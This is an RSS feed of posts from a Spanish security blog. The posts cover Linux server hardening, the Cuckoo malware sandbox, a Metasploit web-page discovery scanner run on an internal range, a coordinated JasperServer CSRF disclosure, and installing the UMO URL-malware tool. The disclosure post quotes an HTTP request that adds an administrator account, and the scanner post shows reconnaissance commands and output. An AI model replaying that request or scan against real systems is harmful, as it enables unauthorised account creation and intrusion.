<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Art Work &#187; Seg. Lógica</title>
	<atom:link href="http://www.securityartwork.es/category/seg-logica/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.securityartwork.es</link>
	<description>Blog de Seguridad de la Información de S2 Grupo</description>
	<lastBuildDate>Fri, 10 Feb 2012 13:19:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Bastionando un servidor: algunas indicaciones</title>
		<link>http://www.securityartwork.es/2012/01/24/bastionando-un-servidor-algunas-indicaciones/</link>
		<comments>http://www.securityartwork.es/2012/01/24/bastionando-un-servidor-algunas-indicaciones/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 10:39:04 +0000</pubDate>
		<dc:creator>José L. Chica</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=7015</guid>
		<description><![CDATA[Una de las tareas comunes que deben aplicarse a un servidor que va a pasar a producción es fortalecer la seguridad que lleva por defecto el sistema. A esto se le llama bastionar o securizar. Como son muchos aspectos los que hay que tener en cuenta para llevar a cabo esta labor, he querido hacer [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.securityartwork.es/wp-content/uploads/2012/01/imagen.jpg" style="padding:0px 0px 20px 30px;float:right;width:350px;" />Una de las tareas comunes que deben aplicarse a un servidor que va a pasar a producción es fortalecer la seguridad que lleva por defecto el sistema. A esto se le llama bastionar o securizar. Como son muchos aspectos los que hay que tener en cuenta para llevar a cabo esta labor, he querido hacer un recopilatorio de las principales tareas de bastionado en Linux. </p>
<p>Los siguientes puntos se van a centrar únicamente en la seguridad de la máquina, sin extenderse en los elementos externos que se pueden utilizar para securizar el equipo, como NIDS, IPS, firewalls, auditorías periódicas o cañones de fotones.</p>
<ul>
<li><strong>Software siempre actualizado.</strong> Imprescindible mantener el sistema siempre a la última en parches de seguridad. No hacerlo es el método más sencillo para que te vulneren o tumben el equipo. La mayoría de malware actual se basa en vulnerabilidades conocidas de un servicio o aplicación para infectar la máquina.</li>
<li><strong>Configuración deficiente de las aplicaciones.</strong> De nada serviría un servidor altamente bastionado si uno de los servicios disponibles tiene una configuración que permita a un atacante vulnerar su seguridad. Como es imposible abarcar todo lo que esta implicación supondría, enumeraré algunas indicaciones generales, aplicables a la mayoría de aplicaciones:</li>
<ol>
<li><strong>Ocultar en la medida de lo posible información &#8220;jugosa&#8221;.</strong> Ponerle difícil la recopilación de información a un posible atacante. Por poner unos pocos ejemplos, banners del servidor web, trazas de errores de un Tomcat, metadatos en documentos, transferencia de zona en los servidores DNS, demasiada información visible en los nodos de un servidor LDAP, etc.</li>
<li><strong>Cifrados débiles.</strong> Evitar que se puedan utilizar algoritmos de cifrado crackeables a la hora de almacenar contraseñas o en el intercambio de información.</li>
<li><strong>Permisos de usuario y administrador.</strong> Ojo con qué se puede ver o hacer con usuarios limitados o invitados.</li>
<li><strong>Política de contraseñas.</strong>
<ol>
<li>Aplicar una política restrictiva cuando se vaya a almacenar una contraseña, como el tamaño mínimo, el uso de mayúsculas, números, caracteres especiales.</li>
<li>Controlar el acceso a la aplicación, con un máximo de intentos, o un delay entre intentos.</li>
<li>Evitar que se pueda utilizar una palabra de diccionario. Se puede usar un agente que lo detecte: <a href="http://www.debian-administration.org/articles/59">http://www.debian-administration.org/articles/59</a></li>
<li>Y sobre todo, <strong>nunca nunca usar la misma contraseña para cada cuenta o servicio o máquina</strong>. Vulneran una contraseña, y pueden tomar el control del resto de servicios o máquinas. Como acordarse de todas ellas es imposible para un mortal medio, es recomendable usar herramientas como KeePass o Password Gorilla.</li>
<li>Usar herramientas específicas de hardening, como WAFs o <a href="http://www.securityartwork.es/2012/01/16/phpids-securiza-tu-web/">PHPIDS</a></li>
</ol>
</li>
</ol>
<li><strong>Permisos de ficheros.</strong> Comprobar qué permisos tienen ciertos ficheros o directorios críticos, para evitar que usuarios no autorizados puedan leer o escribir en él. Por ejemplo, no se debería tener permisos de escritura a los ficheros inetd.conf, innittab, passwd, crontabs, o la estructura de directorios del servidor web. Éste último es más delicado y tiene sus excepciones y sus restricciones propias cuya explicación se sale del propósito de este post.</li>
<li><strong>Monitorizar o restringir el acceso a cuentas privilegiadas.</strong> En un servidor crítico, no suele ser habitual que alguien se loguee como root. Puede ser una buena idea que nos llegue una notificación cuando esto ocurra para controlar posibles accesos ilegítimos. También se pueden tomar medidas como denegar el acceso root desde SSH, o permitir solamente a un rango de ips concreto el acceso administrador de una aplicación web.</li>
<li><strong>Eliminar servicios innecesarios.</strong> Comprobar con netstat -putan qué servicios están a la escucha, y para los que no sean imprescindibles. Podrían ser un potencial vector de ataque. Un ejemplo de servicios que suelen estar a la escucha en una instalación por defecto son RPC, Zeroconf, samba. Si no estás seguro si necesitas ese servicio, la recomendación que escuché en su día fue: detén el servicio, y atento a ver qué explota ;)</li>
<li><strong>Eliminar aplicaciones instaladas innecesarias.</strong> Una vez se haya pasado el servidor a producción, no es necesario, por ejemplo, mantener ningún compilador. Se puede instalar un sistema base mínimo y a partir de ahí instalar lo imprescindible.</li>
<li><strong>Aislar la máquina del resto de equipos. </strong>Si el resto de máquinas pertenecientes a una DMZ no necesitan ningún servicio de ti, impídeles el acceso. En caso de que una máquina sea vulnerada, no podrá saltar a otro equipo y la intrusión quedará contenida.</li>
<li><strong>Usar un HIDS.</strong> Monitoriza el acceso o modificación de ficheros clave, como /sbin, /etc, /var/www para prevenir cambios ilegítimos.</li>
<li><strong>Uso de syslog remoto.</strong> Podemos enviar los logs a un servidor de syslog remoto. Con esto conseguimos monitorizar los servicios y poder correlar eventos. La herramienta OSSEC es muy recomendada para esto último. También se gana trazabilidad, haciendo más difícil para un intruso borrar su rastro.</li>
<li><strong>Usar parches del kernel como SELinux, AppArmor, o PaX.</strong> Estas características implementan políticas de acceso a recursos, o protección de espacios de memoria.</li>
<li><strong>Protección en el arranque.</strong> Establecer una contraseña a la bios y a grub para evitar la modificación del arranque. Sin estas protecciones, un acceso físico ilegítimo al cpd haría que se pudiera arrancar desde una LiveCD o conseguir una shell de root, arrancando el sistema en modo monousuario.</li>
<li><strong>Particionar para aplicar distintas directivas de seguridad.</strong> Al dividir el sistema en varias particiones se pueden establecer diferentes restricciones a la hora de crear el punto de montaje. Por ejemplo, poner el parámetro noexec a la carpeta /tmp, o ro, nosuid, nodev a /usr, etc.</li>
<li><strong>Uso de sudo.</strong> Permite granular los permisos privilegiados de una cuenta. Se puede establecer qué ficheros concretos se pueden ejecutar como root. Se consigue con esto fijar unos permisos concretos a operadores o DBAs con únicamente las herramientas que necesiten, y evitar así compartir la clave de root.</li>
<li>
<strong>Otros:</strong></p>
<ol>
<li>Monitorización de recursos, como RAM, CPU, espacio en disco, o servicios levantados. Imprescindible para un <em>sysadmin</em> conocer en todo momento el estado de un servidor. La herramienta más popular para esta tarea es Nagios.</li>
<li>Backups y plan de contingencias: de nada habría servido todo este bastionado si un fallo de disco duro hace que se pierda toda la información y el servicio quede inaccesible. Para eso es imprescindible un sistema de copias de respaldo y si el servicio que ofrece es crítico, pensar en implantar un sistema de alta disponibilidad que redunde el servicio inmediatamente en caso de que éste caiga.</li>
</ol>
</li>
</ul>
<p>Obviamente, estas son unas indicaciones generales de securización de un servidor. Cada  responsable deberá valorar qué medidas serán adecuadas y cuales serán excesivas de implantar por no ser necesario o por no merecer la pena la implantación por el coste en recursos que ello supondría. Por supuesto, tampoco están todas. Os animo a que comentéis que medidas usáis para bastionar vuestros equipos que no estén contempladas anteriormente. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2012/01/24/bastionando-un-servidor-algunas-indicaciones/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CuckooSandbox</title>
		<link>http://www.securityartwork.es/2012/01/23/cuckoosandbox/</link>
		<comments>http://www.securityartwork.es/2012/01/23/cuckoosandbox/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 13:18:50 +0000</pubDate>
		<dc:creator>José Vila</dc:creator>
				<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=7005</guid>
		<description><![CDATA[
Hoy les vamos a hablar de una Sandbox. Para aquellos que no estén familiarizados con este tipo de aplicaciones, una Sandbox (caja de arena en español) no es (en este caso) más que una aplicación de análisis de malware que, mediante el aislamiento del proceso o fichero malicioso que se quiere analizar, permite conocer su [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.securityartwork.es/wp-content/uploads/2012/01/cuckoo_color.png" alt="cuckoo_color" title="cuckoo_color" width="279" height="90" class="alignleft size-full wp-image-7006" /><br />
Hoy les vamos a hablar de una <em>Sandbox</em>. Para aquellos que no estén familiarizados con este tipo de aplicaciones, una <em>Sandbox</em> (caja de arena en español) no es (en este caso) más que una aplicación de análisis de malware que, mediante el aislamiento del proceso o fichero malicioso que se quiere analizar, permite conocer su funcionamiento detallado, incluyendo, entre otros, información acerca de la actividad de red y llamadas al sistema.</p>
<p>CuckooSandbox tiene varias características interesantes. Por un lado, se sirve de técnicas de virtualización para conseguir el aislamiento de los ficheros a analizar, a diferencia de otras Sandbox que utilizan técnicas de enjaulado de procesos para conseguir su objetivo. Por otro, su estructura completamente modular permite un gran abanico de configuraciones y adaptaciones a entornos concretos, lo que permite ser válida ante situaciones muy diferentes. Además, se trata de un proyecto de software libre bajo licencia <a href="http://www.cuckoobox.org/doc/0.3/html/introduction/license.html">GPL versión 3</a>.</p>
<p>Para  instalar CuckooSandbox necesitamos un equipo con sistema operativo Linux (preferentemente Ubuntu) que disponga de Python y la versión oficial de Oracle de VirtualBox. Una vez instalados los prerrequisitos, únicamente debemos descargar la aplicación desde <a href="http://www.cuckoobox.org/#download">esta ubicación</a> y descomprimirlo en una carpeta de nuestra elección.</p>
<p>En la parte de las máquinas virtuales, que servirán de base para el análisis, el proceso de configuración es un poco más elaborado, pero básicamente necesitaremos un sistema operativo Windows actual (los módulos de análisis están pensados para las versiones inglesas), Python y versiones vulnerables de las aplicaciones que deseemos instalar. El proceso de configuración y puesta a punto está perfectamente referenciado en el apartado de <a href="http://www.cuckoobox.org/doc/0.3/html/installation/index.html">Instalación</a> de la <a href="http://www.cuckoobox.org/#documentation">documentación oficial</a>. El paso final de la configuración es la creación de una instantánea de la máquina virtual, que sirve de punto de inicio en cada análisis, y al que se vuelve tras cada ejecución. A partir de aquí, el proceso de ejecución de análisis es extremadamente sencillo. Por una parte se debe iniciar el proceso <em>cuckoo.py</em>, que constituye el servidor central de la aplicación, y el que llevará toda la carga del análisis. </p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2012/01/cuckoo-1.PNG" alt="cuckoo-1" title="cuckoo-1" width="940" height="741" class="aligncenter size-full wp-image-7008" /></p>
<p>Por otra, se debe lanzar el proceso <em>submit.py</em>, que se encarga de enviar el fichero sospechoso al servidor para que sea analizado.</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2012/01/cuckoo-2.PNG" alt="cuckoo-2" title="cuckoo-2" width="940" height="120" class="aligncenter size-full wp-image-7009" /></p>
<p>El proceso de análisis es modular y se incluyen por defecto varios paquetes de análisis que cubren distintos tipos de ficheros sospechosos. Actualmente se incluyen plantillas para ficheros ejecutables, librerías dinámicas, ficheros PDF, documentos ofimáticos, y apertura de URL con Internet Explorer y Mozilla Firefox, entre otros. Estas plantillas se pueden modificar o extender, e incluso crear nuevas para analizar otros tipos de fichero no contemplados en estas categorías.</p>
<p>Finalmente, una vez ejecutado el análisis, es momento de revisar los resultados obtenidos. Estos resultados incluyen los ficheros que ha descargado/creado el archivo sospechoso, los logs del sistema, informes del análisis, capturas de pantalla del equipo, traza de red, configuración y log del análisis, el fichero original y la traza de red:</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2012/01/cuckoo-3.PNG" alt="cuckoo-3" title="cuckoo-3" width="560" height="512" class="aligncenter size-full wp-image-7010" /></p>
<p>Si además lanzamos el servidor web incorporado, podremos ver el informe en HTML, que incluye la información más relevante.</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2012/01/cuckoo-4.PNG" alt="cuckoo-4" title="cuckoo-4" width="996" height="956" class="aligncenter size-full wp-image-7011" /></p>
<p>Como conclusión podemos decir que nos encontramos ante una utilidad muy útil a la hora de realizar análisis de ficheros maliciosos, y dado su carácter modular y la facilidad de uso, estamos seguros que pronto se hará un hueco en el mercado.</p>
<p><strong>NOTA:</strong> Para probar esta aplicación, se utilizaron muestras de malware obtenidas del listado disponible en <a href="http://contagiodump.blogspot.com/2010/11/links-and-resources-for-malware-samples.html ">esta URL</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2012/01/23/cuckoosandbox/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Page collector</title>
		<link>http://www.securityartwork.es/2011/10/26/page-collector/</link>
		<comments>http://www.securityartwork.es/2011/10/26/page-collector/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 09:48:36 +0000</pubDate>
		<dc:creator>David Lladró</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=6379</guid>
		<description><![CDATA[Hoy me gustaría presentaros un módulo de Metasploit que he descubierto hace poco tiempo. Se llama Page collector y ha sido desarrollado por Spencer McIntyre. El módulo en concreto nos ayuda a descubrir páginas web de un rango de ips y nos las muestra de forma gráfica. Vamos a plantear un posible escenario en el [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/10/page-300x214.png" alt="page" title="page" width="300" height="214" class="alignleft size-medium wp-image-6380" />Hoy me gustaría presentaros un módulo de Metasploit que he descubierto hace poco tiempo. Se llama Page collector y ha sido desarrollado por Spencer McIntyre. El módulo en concreto nos ayuda a descubrir páginas web de un rango de ips y nos las muestra de forma gráfica. Vamos a plantear un posible escenario en el nos resultaría útil este módulo: Estamos realizando un pentest de una red corporativa que tiene un rango 192.168.0.0/24 y nos interesa conocer rápidamente, si existen interfaces de administración (phpMyAdmin, páginas de login por defecto, consolas JBoss…). </p>
<p>La instalación del módulo es muy sencilla y funciona <em>out-of-the-box</em> en una metasploit4:</p>
<p><code>dlladro@bt:/# wget http://www.securestate.com/Documents/page_collector.rb<br />
dlladro@bt:/# cp page_collector.rb /opt/metasploit/modules/auxiliary/scanner/http/</code></p>
<p>Su uso también es muy sencillo. Para un uso básico (si no, show options ;), no tenemos más que cargar el módulo, fijar la variable RHOST y lanzarlo. Aquí hay un ejemplo de cómo funcionaría el módulo:</p>
<p><code>msf > use auxiliary/scanner/http/page_collector<br />
msf  auxiliary(page_collector) > show options</code></p>
<p><code>Module options (auxiliary/scanner/http/page_collector):</code></p>
<p><code> Name     Current Setting      Required  Description<br />
   ----     ---------------      --------  -----------<br />
   LPATH    /root/report.html    yes       The local filename to store the html file<br />
   PORTS    80,443,8080,8443     yes       Ports to scan (e.g. 22-25,80,110-900)<br />
   Proxies                       no        Use a proxy chain<br />
   RHOSTS                        yes       The target address range or CIDR identifier<br />
   THREADS  1                    yes       The number of concurrent threads<br />
   VHOST                         no        HTTP server virtual host</code></p>
<p><code>msf  auxiliary(page_collector) > set RHOSTS 192.168.0.0/24<br />
RHOSTS => 192.168.0.0/24<br />
msf  auxiliary(page_collector) > exploit</code></p>
<p><code>[*] Starting HTTP Page Collector<br />
[+] Found HTTP On Server: http://192.168.0.1:80/<br />
[+] Found HTTPS On Server: https://192.168.0.1:443/<br />
[*] Found Invalid SSL Cert: IP:192.168.0.1 CN:maquina-1<br />
[+] Found HTTP On Server: http://192.168.0.1:8080/<br />
[+] Found HTTP On Server: http://192.168.0.14:80/<br />
[+] Found HTTPS On Server: https://192.168.0.24:443/<br />
[*] Found Invalid SSL Cert: IP:192.168.0.24 CN:maquina-2<br />
[*] Scanned 026 of 256 hosts (010% complete)<br />
[+] Found HTTP On Server: http://192.168.0.34:80/<br />
[+] Found HTTP On Server: http://192.168.0.36:80/<br />
[+] Found HTTP On Server: http://192.168.0.43:80/<br />
[+] Found HTTP On Server: http://192.168.0.43:8080/<br />
[+] Found HTTPS On Server: https://192.168.0.44:443/<br />
[*] Found Invalid SSL Cert: IP:192.168.0.44 CN:maquina-3<br />
[+] Found HTTP On Server: http://192.168.0.48:80/<br />
[*] Scanned 052 of 256 hosts (020% complete)</code></p>
<p>Una vez terminado el escaneo, se han guardado los resultados en el archivo /root/report.html; si lo abrimos, veríamos algo parecido a lo siguiente:</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/10/page21.png" alt="page2" title="page2" width="840" height="600" class="aligncenter size-full wp-image-6384" /></p>
<p>En los resultados anteriores se muestran los servicios HTTP/HTTPS encontrados, dentro de un iframe, con lo que ganamos bastante en comodidad para analizar, por ejemplo, usuarios triviales o por defecto en estos servicios&#8230;</p>
<p>Espero que este módulo os sea tan útil como a mí. ¡Un saludo!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/10/26/page-collector/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Historia de una vulnerabilidad</title>
		<link>http://www.securityartwork.es/2011/09/16/historia-de-una-vulnerabilidad/</link>
		<comments>http://www.securityartwork.es/2011/09/16/historia-de-una-vulnerabilidad/#comments</comments>
		<pubDate>Fri, 16 Sep 2011 09:15:07 +0000</pubDate>
		<dc:creator>José Vila</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=6078</guid>
		<description><![CDATA[En este post vamos a hablar acerca de una vulnerabilidad descubierta por el equipo de CSIRT-cv y publicada ayer, como podéis ver en su página de alertas. La aplicación afectada es JasperServer, un servidor para generación de informes, análisis de datos y Business Intelligence ampliamente utilizado, y que tiene una versión de código abierto, que [...]]]></description>
			<content:encoded><![CDATA[<p>En este post vamos a hablar acerca de una vulnerabilidad descubierta por el equipo de <a href="http://www.csirtcv.gva.es/">CSIRT-cv</a> y publicada ayer, como podéis ver en su <a href="http://www.csirtcv.gva.es/es/alertas/vulnerabilidad-en-jasperserver.html">página de alertas</a>. La aplicación afectada es <a href="http://jasperforge.org/projects/jasperserver">JasperServer</a>, un servidor para generación de informes, análisis de datos y Business Intelligence ampliamente utilizado, y que tiene una versión de código abierto, que es la que se ha demostrado vulnerable.</p>
<p>Durante un test de seguridad realizado a la versión 3.7.0 CE, se detectó que, además de los parámetros necesarios para ubicar al usuario en la aplicación, había un parámetro llamado <em>_flowExecutionKey</em> que iba cambiando cada cierto tiempo, probablemente para controlar el flujo del usuario dentro de la aplicación. A continuación se puede ver un ejemplo de petición válida en el sistema:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 10px 0px 10px;"><code>POST /flow.html?_flowExecutionKey=XXXXXXXXXX&#038;_eventId=create HTTP/1.1<br />
Host: 192.168.1.3<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.12) ...<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 115<br />
Proxy-Connection: keep-alive<br />
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />
Referer: http:// 192.168.1.3/flow.html?_flowId=userListFlow&#038;curlnk=3<br />
Cookie: JSESSIONID=A7747A6C2AB278B5AD442A8755744184; treefoldersTree=1%7Copen%3B<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Length: 167</p>
<p>userDetails={"userName": "user", "fullName": "User User", "email": "user@example.com", "password": "user", "enabled": true, "roles": [{"roleName": "ROLE_ADMINISTRATOR"}]}</code></div>
<p>Esta petición, con el parámetro <em>_flowExecutionKey</em> correcto, inserta un nuevo usuario administrador en la aplicación. Examinándolo a fondo, comprobamos que este campo era relativamente fácil de predecir, lo que nos hizo pensar en <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">ataques de tipo CSRF</a>. Decidimos entonces hacer varias pruebas para tratar de engañar a la aplicación y generar peticiones de adición de usuarios al sistema, con resultados positivos.</p>
<p>Por aquel entonces (estoy hablando de finales de 2010) se había publicado una nueva versión de esta aplicación, la 3.7.1 CE, así que la instalamos, para comprobar que también podíamos introducir usuarios en el sistema de forma ilegítima si conseguíamos que un usuario autenticado pulsara en un enlace aparentemente inocuo, pero que contenía la prueba de concepto que habíamos generado.</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/09/jasper1.png" alt="jasper" title="jasper" width="730"  class="aligncenter size-full wp-image-6087" style="padding-left:10px;"/><br />
<center><strong>Usuario ficticio insertado tras la realización de una prueba de concepto de la vulnerabilidad.</strong></center></p>
<p>“<em>¿Y qué hacemos ahora?</em>”, nos dijimos. Como corresponde con nuestro trabajo, decidimos informar sobre la vulnerabilidad a JasperSoft, la empresa desarrolladora del producto. Pudimos hablar con uno de los comerciales de JasperSoft en España, así como con un técnico, también español, que nos confirmó el reconocimiento de la vulnerabilidad por parte de la empresa.</p>
<p>Como suele ocurrir en estos casos, (excepto <a href="http://www.google.com/about/corporate/company/rewardprogram.html">algunas</a> <a href="http://www.csirtcv.gva.es/es/noticias/facebook-pagar%C3%A1-por-los-fallos-de-seguridad-descubiertos.html">excepciones</a>), las conversaciones con la empresa tratando de concretar cuando se iba a resolver la vulnerabilidad que habíamos encontrado tuvieron una respuesta pobre y difusa, hasta que, tras contactar con el <a href="http://www.cert.org/">CERT/CC</a>, que nos sirvió de intermediario y nos ayudó en todo el proceso, JasperSoft concretó la fecha de corrección del fallo en “<em>finales de verano</em>”, tras lo que nos pusimos a planificar la publicación para el 15 de septiembre (curiosidades del destino, el día de mi cumpleaños), casi nueve meses después de que reportaramos la vulnerabilidad a JasperSoft en primera instancia.</p>
<p>A última hora JasperSoft nos pidió todavía más tiempo para solucionar la vulnerabilidad, pero tras reunirnos todo el equipo que trabajamos en <a href="http://www.csirtcv.gva.es/">CSIRT-cv</a>, decidimos seguir adelante con la publicación de la vulnerabilidad, ya que creemos que nueve meses es tiempo más que suficiente para solucionar un problema que puede comprometer la seguridad de los propios clientes de esta aplicación.</p>
<p>¿El resultado? Tenéis disponible la <a href="http://www.csirtcv.gva.es/es/alertas/vulnerabilidad-en-jasperserver.html">alerta</a> en la web de <a href="http://www.csirtcv.gva.es/">CSIRT-cv</a>, la cual aprovecho para recomendaros desde aquí, así como <a href="http://www.csirtcv.gva.es/sites/all/files/images/content/%5BCSIRT-cv%5D%20JasperServer%203.7.0%20CE%20CSRF%20Advisory.pdf">nuestro informe de la vulnerabilidad en inglés</a>. <a href="http://www.cert.org/">CERT/CC</a> por su parte también ha publicado su <a href="http://www.kb.cert.org/vuls/id/519588">informe de vulnerabilidad</a>, que en este momento ya han copiado <a href="http://opensystemsjournal.net/?p=19590">dos</a> <a href="http://www.varanoid.com/research-alerts/us-cert/vu519588-jasperserver-cross-site-request-forgery-vulnerability/">webs</a>. Suponemos que en breve se irán añadiendo más referencias, entre las que se incluye el <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1911">CVE-2011-1911</a>, que nos han reservado muy amablemente desde <a href="http://www.cert.org/">CERT/CC</a>. Iremos añadiendo referencias de otros sitios a medida que vayan apareciendo, si el editor nos lo permite ;)</p>
<p>Como conclusión y tras haber vivido en primera persona un proceso de reporte de una vulnerabilidad, extraemos que, a pesar de ser un tema de interés creciente, se suele dar poca importancia a los fallos de seguridad en las aplicaciones software, lo que hace que el tiempo de resolución de estos problemas sea, a nuestro juicio, demasiado alto, dejando a los usuarios expuestos ante ataques que, de haber encontrado una solución más rápida, no se habrían producido.</p>
<p>Para finalizar, dar las gracias al equipo de <a href="http://www.csirtcv.gva.es/">CSIRT-cv</a>, sin el que nada de esto habría sido posible: <a href="http://www.securityartwork.es/author/gmir/">Guillermo</a>, <a href="http://www.securityartwork.es/author/mmoreno/">Maite</a>, <a href="http://www.securityartwork.es/author/jholguin/">JoseMi</a>, <a href="http://www.securityartwork.es/author/asegovia/">Alberto</a>, <a href="http://www.securityartwork.es/author/mbelda/">Nelo</a>, <a href="http://www.securityartwork.es/author/jchica/">José Luis</a>, <a href="http://www.securityartwork.es/author/colaboradores/">Xavi</a> y <a href="http://www.securityartwork.es/author/colaboradores/">Lourdes</a>, ¡gracias a todos!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/09/16/historia-de-una-vulnerabilidad/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Instalación de UMO 0.1b Beta (Url Malware Owned)</title>
		<link>http://www.securityartwork.es/2011/07/13/instalacion-de-umo-0-1b-beta-url-malware-owned/</link>
		<comments>http://www.securityartwork.es/2011/07/13/instalacion-de-umo-0-1b-beta-url-malware-owned/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 09:43:22 +0000</pubDate>
		<dc:creator>José Miguel Holguín</dc:creator>
				<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=5757</guid>
		<description><![CDATA[Una vez presentada UMO en una entrada anterior, vamos a ver con un poco más de detalle cómo desplegarla para empezar a jugar con ella. Se ha probado la herramienta en un sistema con GNU/Linux Debian Squeeze y  se ha utilizado Python 2.6.6.
Lo primero es descargar la herramienta:

$ export workdir=/tmp/umo
$ mkdir -p $workdir
$ cd [...]]]></description>
			<content:encoded><![CDATA[<p>Una vez presentada <a href="http://www.securityartwork.es/2011/07/08/url-malware-owned-beta-0-1/">UMO</a> en una entrada anterior, vamos a ver con un poco más de detalle cómo desplegarla para empezar a jugar con ella. Se ha probado la herramienta en un sistema con GNU/Linux Debian Squeeze y  se ha utilizado Python 2.6.6.</p>
<p>Lo primero es descargar la herramienta:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;">
<code>$ export workdir=/tmp/umo<br />
$ mkdir -p $workdir<br />
$ cd $workdir<br />
$ wget  http://umo.googlecode.com/files/umobeta0.1b.tar.gz</code></div>
<p>Una vez descargada la descomprimimos:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;">
<code>$ tar -xvzf umobeta0.1b.tar.gz</code></div>
<p>Una vez descomprimida la herramienta, dispondremos de la siguiente estructura de directorios:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;">
<code>x trunk/<br />
x trunk/crawler.py<br />
x trunk/bingScan.py<br />
x trunk/googleScan.py<br />
x trunk/umoconfig.py<br />
x trunk/malwareScan.py<br />
x trunk/xgoogle/<br />
x trunk/xgoogle/BeautifulSoup.pyc<br />
x trunk/xgoogle/googlesets.py<br />
x trunk/xgoogle/BeautifulSoup.py<br />
x trunk/xgoogle/search.pyc<br />
x trunk/xgoogle/__init__.pyc<br />
x trunk/xgoogle/browser.py<br />
x trunk/xgoogle/translate.py<br />
x trunk/xgoogle/__init__.py<br />
x trunk/xgoogle/search.py<br />
x trunk/xgoogle/browser.pyc<br />
x trunk/xgoogle/sponsoredlinks.py<br />
x trunk/umo.py<br />
x trunk/safebrowsing/<br />
x trunk/safebrowsing/base.py<br />
x trunk/safebrowsing/conf.py<br />
x trunk/safebrowsing/query_lookup.py<br />
x trunk/safebrowsing/__init__.py<br />
x trunk/safebrowsing/backend.py<br />
x trunk/safebrowsing/prepare_db.py</code></div>
<p>Ahora es necesario instalar el API <strong>pybing</strong> que nos permitirá lanzar consultas a Bing, para ello seguiremos las <a href="http://code.google.com/p/pybing/">instrucciones de la propia página del api</a>. Si os bajáis el “.egg” de la sección downloads os dará un <a href="http://code.google.com/p/pybing/source/diff?spec=svn33&#038;r=33&#038;format=side&#038;path=/trunk/pybing/query/query.py">error que está corregido en r33</a>.</p>
<p>Una vez instalado es aconsejable realizar una prueba a través de la consola de python de que el API funciona correctamente:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;">
<code># python<br />
Python 2.6.6 (r266:84292, Dec 26 2010, 22:31:48)<br />
[GCC 4.4.5] on linux2<br />
Type "help", "copyright", "credits" or "license" for more information.<br />
>>> from pybing.query import WebQuery<br />
>>> query = WebQuery('<span style="background-color:yellow">Mi API key</span>', query='python bing')<br />
>>> results = query.execute()<br />
>>> for result in results[:3]:<br />
...     print repr(result.title)<br />
...<br />
u'Python Wrapper on Bing API \u2014 The Usware Blog - Django Web ...'<br />
u"Bing.com (Nuevo Buscador de Microsoft) - Web-engineer's.es"<br />
u'YouTube - \u202aMonty Python - The Machine That Goes Bing ...'<br />
>>></code></div>
